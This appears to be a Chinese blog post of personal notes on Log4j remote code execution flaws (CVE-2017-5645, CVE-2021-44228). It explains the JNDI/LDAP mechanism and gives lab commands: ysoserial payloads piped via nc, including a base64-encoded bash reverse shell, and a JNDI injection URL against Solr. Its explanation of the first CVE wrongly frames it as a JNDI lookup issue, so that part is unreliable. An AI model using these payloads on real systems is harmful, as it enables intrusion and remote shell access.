1.Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)
1)漏洞原理:
JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念,JDNI通过绑定的概念将对象和名称联系起来。
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。
Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。
${jndi:ldap:x.x.x.x/test.class},通过构造的这条恶意函数,发送到log4j,打印到日志中,开始解析{}中的内容,发现是ldap实现的jndi,然后调用lookup
功能去查找x.x.x.x/test.class该文件,然后发现是远程服务器的文件,需要通过codebase去下载该class类,然后下载后,对该class文件进行使用默认的构造器
进行实例化成对象,这样就会把原理恶意构造的静态块代码执行
上述原理只适用于jdk版本包括或者低于8的版本,高于8的版本,VersionHelper12.loadClass中设置了一个判断,就是trustURLCodebase变量设置为了false,禁止
远程去访问下载恶意class类文件
对于高版本的jdk,则可以考虑通过lookup加载本地类来进行jndi注入,可以利用javax.el.ELProcessor类,因为他有eval方法,且只有一个string参数,可以
执行命令
2)操作技巧:
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/suc" | nc 192.168.68.129 4712
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjcvMjIzMyAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.68.129 4712
3)漏洞版本:Apache Log4j 2.8.2之前的2.x版本
2.Apache Log4j2 lookup feature JNDI injection (CVE-2021-44228)
1)漏洞原理:
类似于上一个漏洞的原理
2)操作技巧:
http://192.168.68.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.el330r.dnslog.cn}
3)漏洞版本:2.0 ≤ Apache Log4j <= 2.14.1
log4j反序列化远程命令执行以及个人原理理解
最新推荐文章于 2024-07-08 02:05:06 发布

4098

被折叠的 条评论
为什么被折叠?



